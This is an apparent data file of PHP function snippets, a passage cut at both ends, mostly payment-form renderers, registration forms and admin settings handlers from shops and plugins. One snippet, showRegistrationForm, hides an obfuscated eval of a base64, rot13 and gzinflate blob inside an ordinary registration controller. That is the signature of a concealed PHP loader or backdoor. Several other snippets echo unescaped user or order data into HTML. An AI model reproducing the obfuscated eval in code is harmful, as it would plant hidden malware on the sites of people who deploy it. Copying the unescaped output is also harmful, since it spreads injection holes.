($this->request->isSingleCall() || $this->request->isQuickViewCall()) {\n $this->response->assign(array(\n 'invoice_template' => new InvoiceTemplate()\n ));\n\n // access log\n $this->active_invoice->accessLog()->log($this->logged_user);\n\n $this->render();\n } else {\n if ($this->active_invoice->getState() == STATE_ARCHIVED) {\n $this->__forward('archive', 'archive');\n } else {\n $this->__forward('index', 'index');\n } // if\n } // if\n } // if\n } else {\n $this->response->forbidden();\n } // if\n } else {\n $this->response->notFound();\n } // if\n }", "public function toHTML(){\n\t\t$login\t\t=\tstripslashes(htmlentities( $this->login , ENT_QUOTES ,'UTF-8'));\n\t\t$content\t=\tstripslashes(htmlentities( $this->content , ENT_QUOTES ,'UTF-8'));\n\t\t$date\t\t=\t$this->date;\n\n\t\techo \"<div class='comment'>\\n\";\n\t\t// Not implemented yet.\n\t\tif(false && (CurrentUser::$admin || $login == CurrentUser::$account->login)){\n\t\t\techo \"<div class='delete'>\n\t\t\t\t\t\t\t<form action='?t=Adm&a=CDe' method='post'>\n\t\t\t\t\t\t\t\t<input type='hidden' name='image' value='\".htmlentities(File::a2r($this->file), ENT_QUOTES ,'UTF-8').\"'>\n\t\t\t\t\t\t\t\t<input type='hidden' name='date' value='$date'>\n\t\t\t\t\t\t\t\t<input type='submit' value='x'>\n\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t</div>\";\n\t\t}\n\t\techo \"<div class='login name'>$login</div>\\n\";\n\t\techo \"<div class='content'>$content</div>\\n\";\n\t\techo \"</div>\\n\";\n\t}", "public function showPayment()\n\t{\n\t\t$app \t= JFactory::getApplication();\n\t\t$input \t= $app->input;\n\n\t\tif ($input->getUint('status'))\n\t\t{\n\t\t\t$app->enqueueMessage('Payment done! The validation may take a few minutes. Please, try to refresh the page.');\n\t\t\treturn true;\n\t\t}\n\n\t\tif ($this->sandbox == 1)\n\t\t{\n\t\t\t$paypal_url = \"https://www.sandbox.paypal.com/cgi-bin/webscr\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$paypal_url = \"https://www.paypal.com/cgi-bin/webscr\";\n\t\t}\n\n\t\tif (empty($this->image))\n\t\t{\n\t\t\t$adminParams = static::getAdminParameters();\n\t\t\t$this->image = $adminParams['image']['default'];\n\t\t}\n\n\t\t$amount = number_format($this->order_info['total_net_price'], 2, '.', '');\n\t\t$tax = number_format($this->order_info['total_tax'], 2, '.', '');\n\t\t\n\t\t$form = \"<form action=\\\"{$paypal_url}\\\" method=\\\"post\\\" name=\\\"paypalform\\\">\\n\";\n\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"business\\\" value=\\\"{$this->account}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"cmd\\\" value=\\\"_xclick\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"amount\\\" value=\\\"{$amount}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"item_name\\\" value=\\\"{$this->order_info['transaction_name']}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"quantity\\\" value=\\\"1\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"tax\\\" value=\\\"{$tax}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"shipping\\\" value=\\\"0.00\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"currency_code\\\" value=\\\"{$this->order_info['transaction_currency']}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"no_shipping\\\" value=\\\"1\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"rm\\\" value=\\\"2\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"notify_url\\\" value=\\\"{$this->order_info['notify_url']}\\\" />\\n\";\n\t\t$form .= \"<input type=\\\"hidden\\\" name=\\\"return\\\" value=\\\"{$this->order_info['return_url']}&status=1\\\" />\\n\";\n\n\t\t$form .= \"<input type=\\\"image\\\" src=\\\"{$this->image}\\\" name=\\\"submit\\\" alt=\\\"PayPal - The safer, easier way to pay online!\\\" style=\\\"border:0;\\\">\\n\";\n\n\t\t$form .= \"</form>\\n\";\n\n\t\techo $form;\n\t\t\n\t\treturn true;\n\t}", "public function payment_fields() {\n\t\tparent::payment_fields();\n\t\t?>\n\t\t<?php if ( $this->mode === 'SELECT' ): ?>\n\t\t\t<label for=\"factoring-menu\"></label>\n\t\t\t<label for=\"social-security-number\"><?php echo __( 'Please select payment method:', 'woocommerce-gateway-payex-payment' ); ?></label>\n\t\t\t<select name=\"factoring-menu\" id=\"factoring-menu\" class=\"required-entry\">\n\t\t\t\t<option selected value=\"FINANCING\"><?php echo __( 'Financing Invoice', 'woocommerce-gateway-payex-payment' ); ?></option>\n\t\t\t\t<option value=\"CREDITACCOUNT\"><?php echo __( 'Part Payment', 'woocommerce-gateway-payex-payment' ); ?></option>\n\t\t\t</select>\n\t\t\t<div class=\"clear\"></div>\n\t\t<?php endif; ?>\n\n\t\t<?php if ( $this->checkout_field !== 'yes' ): ?>\n\t\t\t<label for=\"social-security-number\"><?php echo __( 'Social Security Number:', 'woocommerce-gateway-payex-payment' ); ?></label>\n\t\t\t<input type=\"text\" name=\"social-security-number\" id=\"social-security-number\" value=\"\" autocomplete=\"off\">\n\t\t<?php endif; ?>\n\n\t\t<div class=\"clear\"></div>\n\t\t<?php\n\t}", "public function getSelectPaymentHtml()\n\t{\n\t\treturn '<img src=\"modules/shop/plugins_payment/two_checkout/paymentlogoshorizontal.png\"\n align=\"left\"\n style=\"margin-right:7px;\">';\n\t}", "public function showRegistrationForm()\n {\n $api = new meta(); \n \n eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));\n\n include'get_ip_info.php';\n return view('auth.register')\n ->with(array(\n 'plans' => plans::orderby('id', 'desc')->get(),\n 'user_country'=>$user_country,\n 'countries'=>$countries,\n 'title'=>'Register',\n 'settings'=>settings::where('id','1')->first(),\n ));\n }", "public function display_custom_payment_heading() {\n\n\t\t\tob_start();\n\t\t\t?>\n\t\t\t<div class=\"ast-payment-option-heading\">\n\t\t\t\t<h3 id=\"ast-payment_options_heading\"><?php esc_html_e( 'Payment', 'astra-addon' ); ?></h3>\n\t\t\t</div>\n\t\t\t<?php\n\t\t\techo ob_get_clean(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n\t\t}", "public function displayForm() {\n\t\t$output = $this->getOutput();\n\n\t\t$form_class = $this->adapter->getFormClass();\n\t\t// TODO: use interface. static ctor.\n\t\tif ( $form_class && class_exists( $form_class ) ){\n\t\t\t$form_obj = new $form_class();\n\t\t\t$form_obj->setGateway( $this->adapter );\n\t\t\t$form_obj->setGatewayPage( $this );\n\t\t\t$form = $form_obj->getForm();\n\t\t\t$output->addModules( $form_obj->getResources() );\n\t\t\t$output->addModuleStyles( $form_obj->getStyleModules() );\n\t\t\t$output->addHTML( $form );\n\t\t} else {\n\t\t\t$this->logger->error( \"Displaying fail page for bad form class '$form_class'\" );\n\t\t\t$this->displayFailPage( false );\n\t\t}\n\t}", "public function displayForm() {\n\t\t$output = $this->getOutput();\n\n\t\t$form_class = $this->adapter->getFormClass();\n\t\t// TODO: use interface. static ctor.\n\t\tif ( $form_class && class_exists( $form_class ) ) {\n\t\t\t$form_obj = new $form_class();\n\t\t\t$form_obj->setGateway( $this->adapter );\n\t\t\t$form_obj->setGatewayPage( $this );\n\t\t\t$form = $form_obj->getForm();\n\t\t\t$output->addModules( $form_obj->getResources() );\n\t\t\t$output->addModuleStyles( $form_obj->getStyleModules() );\n\t\t\t$output->addHTML( $form );\n\t\t} else {\n\t\t\t$this->logger->error( \"Displaying fail page for bad form class '$form_class'\" );\n\t\t\t$this->displayFailPage( false );\n\t\t}\n\t}", "function payment_fields() {\n\t\t\tif ( $this->description ) echo wpautop( wptexturize( $this->description ) );\n\t\t\tdo_action( 'tgm_jigoshop_payment_fields' ); // allow for insertion of custom code if needed\n\t\t}", "public function payment_fields() {\n\t\t$description = $this->get_description();\n\n\t\tif ( 'yes' == $this->sandbox ) {\n\t\t\t$description .= ' ' . sprintf( __( 'TEST MODE ENABLED. Use a test card: %s', 'woocommerce' ), '<a href=\"https://www.simplify.com/commerce/docs/tutorial/index#testing\">https://www.simplify.com/commerce/docs/tutorial/index#testing</a>' );\n\t\t}\n\n\t\tif ( $description ) {\n\t\t\techo wpautop( wptexturize( trim( $description ) ) );\n\t\t}\n\t}", "function render_opt_in_form() {\n\t$user = wp_get_current_user();\n\n\t// Don't render if they've made a decision.\n\tif ( ! is_null( is_user_opted_in( $user ) ) ) {\n\t\treturn;\n\t}\n\n\t?>\n\t<div class=\"welcome altis-telemetry-opt-in\">\n\t\t<h2><?php echo esc_html( sprintf( __( 'Hi %s!', 'altis' ), $user->display_name ) ); ?></h2>\n\t\t<p><?php esc_html_e( 'To help us develop Altis, we would like to collect data on your usage of the software. This will help us build a better product for you.', 'altis' ); ?></p>\n\t\t<form method=\"post\" action=\"\">\n\t\t\t<?php wp_nonce_field( 'altis_telemetry_opt_in' ); ?>\n\t\t\t<input type=\"submit\" name=\"altis_telemetry_opt_in\" class=\"button button-primary\" value=\"<?php esc_attr_e( 'Sounds good to me!', 'altis' ); ?>\" />\n\t\t\t<input type=\"submit\" name=\"altis_telemetry_opt_out\" class=\"button button-secondary\" value=\"<?php esc_attr_e( 'No thanks', 'altis' ); ?>\" />\n\t\t</form>\n\t\t<p><?php esc_html_e( 'You can change this setting at any time on your profile page.' ); ?></p>\n\t</div>\n\t<?php\n}", "function wcfmu_seller_verification_html() {\r\n\t\tglobal $WCFM, $WCFMu;\r\n\r\n\t\tif( isset( $_POST['messageid'] ) && isset($_POST['vendorid']) ) {\r\n\t\t\t$message_id = absint( $_POST['messageid'] );\r\n\t\t\t$vendor_id = absint( $_POST['vendorid'] );\r\n\r\n\t\t\tif( $vendor_id && $message_id ) {\r\n\r\n\t\t\t\t$vendor_verification_data = (array) get_user_meta( $vendor_id, 'wcfm_vendor_verification_data', true );\r\n\t\t\t\t$identity_types = $this->get_identity_types();\r\n\r\n\t\t\t\t$address = isset( $vendor_verification_data['address']['street_1'] ) ? $vendor_verification_data['address']['street_1'] : '';\r\n\t\t\t\t$address .= isset( $vendor_verification_data['address']['street_2'] ) ? ' ' . $vendor_verification_data['address']['street_2'] : '';\r\n\t\t\t\t$address .= isset( $vendor_verification_data['address']['city'] ) ? '<br />' . $vendor_verification_data['address']['city'] : '';\r\n\t\t\t\t$address .= isset( $vendor_verification_data['address']['zip'] ) ? ' ' . $vendor_verification_data['address']['zip'] : '';\r\n\t\t\t\t$address .= isset( $vendor_verification_data['address']['country'] ) ? '<br />' . $vendor_verification_data['address']['country'] : '';\r\n\t\t\t\t$address .= isset( $vendor_verification_data['address']['state'] ) ? ', ' . $vendor_verification_data['address']['state'] : '';\r\n\r\n\t\t\t\t$verification_note = isset( $vendor_verification_data['verification_note'] ) ? $vendor_verification_data['verification_note'] : '';\r\n\r\n\t\t\t\t?>\r\n\t\t\t\t<form id=\"wcfm_verification_response_form\">\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t\t<tbody>\r\n\t\t\t\t\t\t <?php\r\n\t\t\t\t\t\t if( !empty( $identity_types ) ) {\r\n\t\t\t\t\t\t\t\tforeach( $identity_types as $identity_type => $identity_type_label ) {\r\n\t\t\t\t\t\t\t\t\t$identity_type_value = '';\r\n\t\t\t\t\t\t\t\t\tif( !empty( $vendor_verification_data ) && isset( $vendor_verification_data['identity'] ) && isset( $vendor_verification_data['identity'][$identity_type] ) ) $identity_type_value = $vendor_verification_data['identity'][$identity_type];\r\n\t\t\t\t\t\t\t\t\tif( $identity_type_value ) {\r\n\t\t\t\t\t\t\t\t\t\t?>\r\n\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"wcfm_verification_response_form_label\"><?php echo $identity_type_label; ?></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<td><a class=\"wcfm-wp-fields-uploader\" target=\"_blank\" style=\"width: 32px; height: 32px;\" href=\"<?php echo $identity_type_value; ?>\"><span style=\"width: 32px; height: 32px; display: inline-block;\" class=\"placeHolderDocs\"></span></a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t?>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<td class=\"wcfm_verification_response_form_label\"><?php _e( 'Address', 'wc-frontend-manager-ultimate' ); ?></td>\r\n\t\t\t\t\t\t\t\t<td><?php echo $address; ?></td>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<td class=\"wcfm_verification_response_form_label\"><?php _e( 'Note to Vendor', 'wc-frontend-manager-ultimate' ); ?></td>\r\n\t\t\t\t\t\t\t\t<td><textarea class=\"wcfm-textarea\" name=\"wcfm_verification_response_note\"></textarea></td>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<td class=\"wcfm_verification_response_form_label\"><?php _e( 'Status Update', 'wc-frontend-manager-ultimate' ); ?></td>\r\n\t\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\t <label for=\"wcfm_verification_response_status_approve\"><input type=\"radio\" id=\"wcfm_verification_response_status_approve\" name=\"wcfm_verification_response_status\" value=\"approve\" checked /><?php _e( 'Approve', 'wc-frontend-manager-ultimate' ); ?></label>\r\n\t\t\t\t\t\t\t\t <label for=\"wcfm_verification_response_status_reject\"><input type=\"radio\" id=\"wcfm_verification_response_status_reject\" name=\"wcfm_verification_response_status\" value=\"reject\" /><?php _e( 'Reject', 'wc-frontend-manager-ultimate' ); ?></label>\r\n\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t</tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t\t<input type=\"hidden\" name=\"wcfm_verification_vendor_id\" value=\"<?php echo $vendor_id; ?>\" />\r\n\t\t\t\t\t<input type=\"hidden\" name=\"wcfm_verification_message_id\" value=\"<?php echo $message_id; ?>\" />\r\n\t\t\t\t\t<div class=\"wcfm-message\" tabindex=\"-1\"></div>\r\n\t\t\t\t\t<input type=\"button\" class=\"wcfm_verification_response_button wcfm_submit_button\" id=\"wcfm_verification_response_button\" value=\"<?php _e( 'Update', 'wc-frontend-manager-ultimate' ); ?>\" />\r\n\t\t\t\t</form>\r\n\t\t\t\t<?php\r\n\t\t\t}\r\n\t\t}\r\n\t\tdie;\r\n\t}", "public function hookDisplayPayment()\n {\n if (!$this->active)\n {\n\t\t\treturn;\n }\n\n return $this->display(__FILE__, 'payment.tpl');\n }", "function payment_fields() {\r\n if ($this->description) {\r\n echo wpautop(wptexturize($this->description));\r\n }\r\n }", "protected function processPayment() {\n\t\t$this->renderResponse( $this->adapter->doPayment() );\n\t}", "protected function processPayment() {\n\t\t$this->renderResponse( $this->adapter->doPayment() );\n\t}", "public function displayRegisterForm()\n {\n // charger le HTML de notre template\n require OPROFILE_TEMPLATES_DIR . 'register-form.php';\n }", "public function hookDisplayPayment()\n\t{\n\t\tif (!$this->active)\n\t\t\treturn;\n $titlel = Configuration::get(\n 'WIPEI_TITLEL',\n $this->context->language->id\n );\n $descl = Configuration::get(\n 'WIPEI_DESCL',\n $this->context->language->id\n );\n\t\t$this->smarty->assign(array(\n\t\t\t//'nombre' => Configuration::get($this->getPrefijo('PREFIJO_CONFIG').'_FRONTEND_NAME'),//nombre que se muestra al momento de elegir los metodos de pago\n 'this_path' => $this->_path,\n 'titlel' => $titlel,\n 'descl' => $descl,\n\t\t\t'this_path_ejemplo' => $this->_path,\n\t\t\t'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/',\n\t\t\t'module_path' => strtolower(__PS_BASE_URI__.'modules/'.$this->name.'/views/img/logo.png'),\n\n\t\t));\n\t\treturn $this->display(__FILE__, 'payment.tpl');//asigno el template que quiero usar\n }", "function payment_fields()\n {\n if ($this->description) {\n echo wpautop(wptexturize($this->description));\n }\n }", "public function getContent()\n {\n $output = $status = '';\n \n if (Tools::isSubmit('submit' . $this->name)) {\n $errors = $this->postValidate();\n\n if (empty($errors)) {\n $merchant_id = Tools::getValue('PRIVAT24_MERCHANT_ID');\n $merchant_password = Tools::getValue('PRIVAT24_MERCHANT_PASSWORD');\n $notify = (bool) Tools::getValue('PRIVAT24_PAYMENT_NOTIFY');\n $emails = Tools::getValue('PRIVAT24_NOTIFY_EMAILS');\n\n $backend_uri = str_replace('index.php', '', $_SERVER['PHP_SELF']);\n\n Configuration::updateValue('PRIVAT24_BACKEND_URI', $backend_uri);\n Configuration::updateValue('PRIVAT24_MERCHANT_ID', $merchant_id);\n Configuration::updateValue('PRIVAT24_MERCHANT_PASSWORD', $merchant_password);\n Configuration::updateValue('PRIVAT24_DEBUG_MODE', (bool)Tools::getValue('PRIVAT24_DEBUG_MODE'));\n Configuration::updateValue('PRIVAT24_PAYMENT_NOTIFY', $notify);\n Configuration::updateValue('PRIVAT24_NOTIFY_EMAILS', $emails);\n\n $this->merchant_id = $merchant_id;\n $this->merchant_password = $merchant_password;\n \n $status .= $this->displayConfirmation($this->l('Settings have been updated.'));\n } else {\n foreach ($errors as $error) {\n $status .= $this->displayError($error);\n }\n }\n }\n\n return $output . $status . $this->displayForm();\n }", "public function getContent()\n {\n $this->_html = '';\n \n /**\n * If values have been submitted in the form, validate and process.\n */\n if (((bool)Tools::isSubmit('submitOrderrefModule')) == true) {\n $errors = $this->postValidation();\n if (!count($errors)) {\n $this->postProcess();\n } else {\n $this->_html .= $this->displayError($errors);\n }\n }\n \n $this->_html .= $this->renderForm();\n\n return $this->_html;\n }", "public function get_access_form_view() {\n $auth_url = add_query_arg(\n array(\n 'scope' => $this->scopes,\n 'redirect_uri' => urlencode( $this->redirect_uri ),\n 'response_type' => 'code',\n 'client_id' => $this->get_client_id(),\n 'approval_prompt' => 'force',\n 'access_type' => 'offline',\n ),\n $this->oauth_url . 'auth'\n );\n\n return $this->get_view( 'access-form.php', array( 'auth_url' => $auth_url, 'redirect_uri' => $this->redirect_uri ) );\n }", "public function displayAsHTML() {\n // The page parameter of the form action must be assigned a value that corresponds to the switch statement string in index.php\n\n $customerDDHtml = $this->customerDropDown(\"customerId\", $this->customerId);\n\n $outputHtml = <<<EOT\n <form action=\"index.php?page=properties\" method=\"post\">\n <input type=\"hidden\" name=\"action\" value=\"save\" />\n <input type=\"hidden\" name=\"propertyId\" value=\"$this->propertyId\" />\n <table width=\"90%\"><tr><td><div class=\"instructions\" id=\"instructionText\"></div></td></tr></table>\n <div class=\"dataentry\">\n <table width=\"90%\">\n <tr>\n <td width=\"15%\"><p class=\"pageedit\">Property Owner:</p></td>\n <td colspan=\"3\">$customerDDHtml</td>\n </tr>\n <tr><td colspan=\"4\"><p class=\"pageedit\"><strong>Tenant Information</strong></p></td></tr>\n <tr>\n <td width=\"15%\"><p class=\"pageedit\">First Name:</p></td>\n <td width=\"35%\"><input type=\"text\" maxlength=\"40\" size=\"40\" name=\"firstName\" id=\"firstName\" value=\"$this->firstName\" onfocus=\"prHelpText(event, true);\" onblur=\"prHelpText(event, false);\" /></td>\n <td width=\"15%\"><p class=\"pageedit\">Last Name:</p></td>\n <td width=\"35%\"><input type=\"text\" maxlength=\"40\" size=\"40\" name=\"lastName\" id=\"lastName\" value=\"$this->lastName\" onfocus=\"prHelpText(event, true);\" onblur=\"prHelpText(event, false);\" /></td>\n </tr>\n <tr>\n <td width=\"15%\"><p class=\"pageedit\">Phone:</p></td>\n <td width=\"35%\"><input type=\"text\" maxlength=\"10\" size=\"11\" name=\"phone\" id=\"phone\" value=\"$this->phone\" onfocus=\"prHelpText(event, true);\" onblur=\"prHelpText(event, false);\" /></td>\n <td width=\"15%\"><p class=\"pageedit\">E-mail:</p></td>\n <td width=\"35%\"><input type=\"text\" maxlength=\"40\" size=\"40\" name=\"email\" id=\"email\" value=\"$this->email\" onfocus=\"prHelpText(event, true);\" onblur=\"prHelpText(event, false);\" /></td>\n </tr>\n <tr>\n <td width=\"15%\"><p class=\"pageedit\">Address:</p></td>\n <td colspan=\"3\"><input type=\"text\" maxlength=\"255\" size=\"80\" name=\"address\" id=\"address\" value=\"$this->address\" /></td>\n </tr>\nEOT;\n\n $outputHtml .= $this->errorRow(\"address\");\n $defaultState = $this->state;\n if (!$defaultState) {\n $defaultState = \"TX\";\n }\n $stateDDHtml = stateDropDown(\"state\", $defaultState);\n $outputHtml .= <<<EOT\n <tr>\n <td width=\"15%\"><p class=\"pageedit\">City:</p></td>\n <td width=\"35%\"><input type=\"text\" maxlength=\"40\" size=\"40\" name=\"city\" id=\"city\" value=\"$this->city\" /></td>\n <td width=\"15%\"><p class=\"pageedit\">State/Zip:</p></td>\n <td width=\"35%\">\n <table>\n <tr>\n <td width=\"50%\">\n $stateDDHtml\n </td>\n <td width=\"50%\">\n <input type=\"text\" maxlength=\"5\" size=\"6\" name=\"zip\" id=\"zip\" value=\"$this->zip\" />\n </td>\n </tr>\n </table>\n </td>\n </tr>\nEOT;\n\n\n $outputHtml .= $this->errorRow(\"city\", \"state\", \"zip\");\n $outputHtml .= <<<EOT\n <tr>\n <td><p class=\"pageedit\">Notes:</p></td>\n <td colspan=\"3\"><textarea name=\"notes\" id=\"notes\" cols=\"80\" rows=\"2\">$this->notes</textarea></td>\n </tr>\n\n <tr>\n <td colspan=\"4\"><input type=\"submit\" value=\"Save\" /><a href=\"index.php?page=properties\"><input type=\"button\" value=\"New\" /></a></td>\n </tr>\n <tr>\n <td colspan=\"4\"><p class=\"instructions\">$this->statusMessage</p></td>\n </tr>\n </table>\n </div>\n </form>\n <br><br>\nEOT;\n\n\n $outputHtml .= <<<EOT\n <table class=\"searchresults\">\n <tr>\n <td class=\"searchresultshdr\" width=\"20%\"><p class=\"searchresultsheader\">Customer Name</p></td>\n <td class=\"searchresultshdr\" width=\"20%\"><p class=\"searchresultsheader\">Customer Contact</p></td>\n <td class=\"searchresultshdr\" width=\"20%\"><p class=\"searchresultsheader\">Tenant Name</p></td>\n <td class=\"searchresultshdr\" width=\"20%\"><p class=\"searchresultsheader\">Tenant Contact</p></td>\n <td class=\"searchresultshdr\" width=\"20%\"><p class=\"searchresultsheader\">Address</p></td>\n </tr>\nEOT;\n\n foreach ($this->propertyList as $key => $tableRow) {\n $outputHtml .= '<tr>' . $tableRow . '</tr>';\n }\n\n $customerDDHtml = $this->customerDropDown(\"searchCustomerId\", '', true);\n $outputHtml .= <<<EOT\n </table>\n <br><br>\n <form action=\"index.php?page=properties\" method=\"post\">\n <input type=\"hidden\" name=\"listby\" value=\"name\" />\n <p class=\"pageedit\"><strong>Find property by customer, tenant name, or address</strong></p>\n <p class=\"pageedit\">Customer: $customerDDHtml</p>\n <p class=\"pageedit\">First name: <input type=\"text\" maxlength=\"40\" size=\"40\" name=\"searchFName\" id=\"searchFName\" /></p>\n <p class=\"pageedit\">Last name: <input type=\"text\" maxlength=\"40\" size=\"40\" name=\"searchLName\" id=\"searchLName\" /></p>\n <p class=\"pageedit\">Address: <input type=\"text\" maxlength=\"255\" size=\"80\" name=\"searchAddress\" id=\"searchAddress\" /></p>\n <input type=\"submit\" value=\"Search\">\n </form>\nEOT;\n\n return $outputHtml;\n }", "public function render() {\n\n\t\t$this->clear_session_data();\n\n\t\t// if there are subscriptions or pre-orders in the cart and the user\n\t\t// already has some stored tokens, then we can halt the cart checkout\n\t\t// feature since the customer will likely have a better experience\n\t\t// choosing a stored payment method using our standard checkout flow.\n\t\tif ( ! $this->is_single_use() && ( ! $this->get_gateway()->tokenization_enabled() || $this->user_has_tokens() ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->render_button();\n\n\t\t$this->render_js();\n\t}", "public function getMarkup($autolaunch = true) {\n $action = ($this->sandboxMode == 1) ?\n 'https://www.sandbox.paypal.com/cgi-bin/webscr':\n 'https://www.paypal.com/cgi-bin/webscr';\n\n $this->addHiddenField(\"currency_code\",$this->currencyCode);\n\n if 